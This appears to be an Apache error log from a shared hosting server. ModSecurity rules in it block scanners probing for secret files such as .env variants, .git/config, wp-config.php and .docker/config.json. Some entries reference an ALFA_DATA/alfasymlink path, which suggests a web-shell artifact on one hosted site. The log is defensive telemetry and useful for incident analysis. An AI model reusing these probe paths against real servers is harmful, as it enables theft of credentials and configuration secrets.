[Mon Oct 26 01:08:55.997825 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ_La-Z693QtLWwrHPgAAABQ"]
[Mon Oct 26 01:08:55.998045 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ_La-Z693QtLWwrHPgAAABQ"]
[Mon Oct 26 01:08:55.998193 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ1N_bUq_OQDpNPOoKgAAAAo"]
[Mon Oct 26 01:08:55.998265 2026] [security2:error] [pid 2949650:tid 2949650] [client 129.213.151.234:60548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ_La-Z693QtLWwrHPgAAABQ"]
[Mon Oct 26 01:08:55.998415 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ1N_bUq_OQDpNPOoKgAAAAo"]
[Mon Oct 26 01:08:55.998658 2026] [security2:error] [pid 2948938:tid 2948938] [client 129.213.151.234:60504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ1N_bUq_OQDpNPOoKgAAAAo"]
[Mon Oct 26 01:08:55.999318 2026] [security2:error] [pid 2963588:tid 2963588] [client 129.213.151.234:60550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ0hKYrNeTnGv3xbJ8QAAAEk"]
[Mon Oct 26 01:08:55.999509 2026] [security2:error] [pid 2963588:tid 2963588] [client 129.213.151.234:60550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ0hKYrNeTnGv3xbJ8QAAAEk"]
[Mon Oct 26 01:08:55.999757 2026] [security2:error] [pid 2963588:tid 2963588] [client 129.213.151.234:60550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ0hKYrNeTnGv3xbJ8QAAAEk"]
[Mon Oct 26 01:08:56.039225 2026] [security2:error] [pid 2967983:tid 2967983] [client 129.213.151.234:60536] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gaIby0T5GxfPG5JietQAAAAg"]
[Mon Oct 26 01:08:56.039453 2026] [security2:error] [pid 2967983:tid 2967983] [client 129.213.151.234:60536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gaIby0T5GxfPG5JietQAAAAg"]
[Mon Oct 26 01:08:56.039792 2026] [security2:error] [pid 2967983:tid 2967983] [client 129.213.151.234:60536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gaIby0T5GxfPG5JietQAAAAg"]
[Mon Oct 26 01:08:56.922029 2026] [security2:error] [pid 2967991:tid 2967991] [client 129.213.151.234:13002] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gaFpI84OmvQOpd2pC1AAAABE"]
[Mon Oct 26 01:08:56.922299 2026] [security2:error] [pid 2967991:tid 2967991] [client 129.213.151.234:13002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gaFpI84OmvQOpd2pC1AAAABE"]
[Mon Oct 26 01:08:56.922811 2026] [security2:error] [pid 2967991:tid 2967991] [client 129.213.151.234:13002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at7gaFpI84OmvQOpd2pC1AAAABE"]
[Mon Oct 26 01:08:57.016436 2026] [security2:error] [pid 2967990:tid 2967990] [client 129.213.151.234:12992] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gaQLNwXTpFIVPWntnMwAAABA"]
[Mon Oct 26 01:08:57.016781 2026] [security2:error] [pid 2967990:tid 2967990] [client 129.213.151.234:12992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gaQLNwXTpFIVPWntnMwAAABA"]
[Mon Oct 26 01:08:57.017143 2026] [security2:error] [pid 2967990:tid 2967990] [client 129.213.151.234:12992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at7gaQLNwXTpFIVPWntnMwAAABA"]
[Mon Oct 26 01:08:57.679296 2026] [security2:error] [pid 2967991:tid 2967991] [client 129.213.151.234:13002] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.docker/config.json"] [unique_id "at7gaVpI84OmvQOpd2pC1QAAABE"]
[Mon Oct 26 01:08:57.679337 2026] [security2:error] [pid 2967991:tid 2967991] [client 129.213.151.234:13002] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.docker/config.json"] [unique_id "at7gaVpI84OmvQOpd2pC1QAAABE"]
[Mon Oct 26 01:08:58.973880 2026] [ssl:error] [pid 2968015:tid 2968015] [client 129.213.151.234:13064] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Mon Oct 26 01:08:59.802044 2026] [ssl:error] [pid 2967990:tid 2967990] [client 129.213.151.234:12992] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Mon Oct 26 01:09:03.227123 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 185.191.171.9:18118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:09:10.319031 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 52.6.97.88:19047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:09:18.289857 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 34.194.95.99:14760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:09:18.429228 2026] [core:crit] [pid 2949650:tid 2949650] (13)Permission denied: [client 45.148.10.5:35250] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 01:09:20.249074 2026] [authz_core:error] [pid 2967983:tid 2967983] [client 45.148.10.5:35368] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:09:22.454264 2026] [ssl:error] [pid 2968029:tid 2968029] (70014)End of file found: [client 98.82.38.120:27562] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:09:28.457660 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 185.191.171.12:34442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/store_user
[Mon Oct 26 01:09:32.584404 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7gf98riwHadHMxXEFzVAAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:09:32.584471 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7gf98riwHadHMxXEFzVAAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:09:42.400691 2026] [core:error] [pid 2967983:tid 2967983] (13)Permission denied: [client 52.3.127.170:40077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/29/module/uevent
[Mon Oct 26 01:10:01.681229 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at7gqYl8CCaegHlNIHu70AAAAD8"]
[Mon Oct 26 01:10:01.681526 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at7gqYl8CCaegHlNIHu70AAAAD8"]
[Mon Oct 26 01:10:01.681858 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at7gqYl8CCaegHlNIHu70AAAAD8"]
[Mon Oct 26 01:10:01.917387 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23912] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.secret"] [unique_id "at7gqcVpa646XWXolcwAPQAAABg"]
[Mon Oct 26 01:10:01.917780 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.secret"] [unique_id "at7gqcVpa646XWXolcwAPQAAABg"]
[Mon Oct 26 01:10:01.918200 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.secret"] [unique_id "at7gqcVpa646XWXolcwAPQAAABg"]
[Mon Oct 26 01:10:02.156504 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:23922] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /project/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/project/.git/config"] [unique_id "at7gqlmPATn9-OOzVsuAvwAAAAA"]
[Mon Oct 26 01:10:02.156876 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:23922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/project/.git/config"] [unique_id "at7gqlmPATn9-OOzVsuAvwAAAAA"]
[Mon Oct 26 01:10:02.157308 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:23922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/project/.git/config"] [unique_id "at7gqlmPATn9-OOzVsuAvwAAAAA"]
[Mon Oct 26 01:10:02.342533 2026] [ssl:error] [pid 2967995:tid 2967995] (70014)End of file found: [client 44.218.170.184:47918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:10:02.393629 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:23938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.config"] [unique_id "at7gqoxjGi9drRw_gnmvBQAAABc"]
[Mon Oct 26 01:10:02.394013 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:23938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.config"] [unique_id "at7gqoxjGi9drRw_gnmvBQAAABc"]
[Mon Oct 26 01:10:02.394356 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:23938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.config"] [unique_id "at7gqoxjGi9drRw_gnmvBQAAABc"]
[Mon Oct 26 01:10:02.645677 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:23950] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at7gqlN_bUq_OQDpNPOoLwAAAAo"]
[Mon Oct 26 01:10:02.646024 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:23950] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at7gqlN_bUq_OQDpNPOoLwAAAAo"]
[Mon Oct 26 01:10:02.646412 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:23950] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at7gqlN_bUq_OQDpNPOoLwAAAAo"]
[Mon Oct 26 01:10:02.880103 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:23966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gqizbxoDcPgmvgSFJBAAAAAI"]
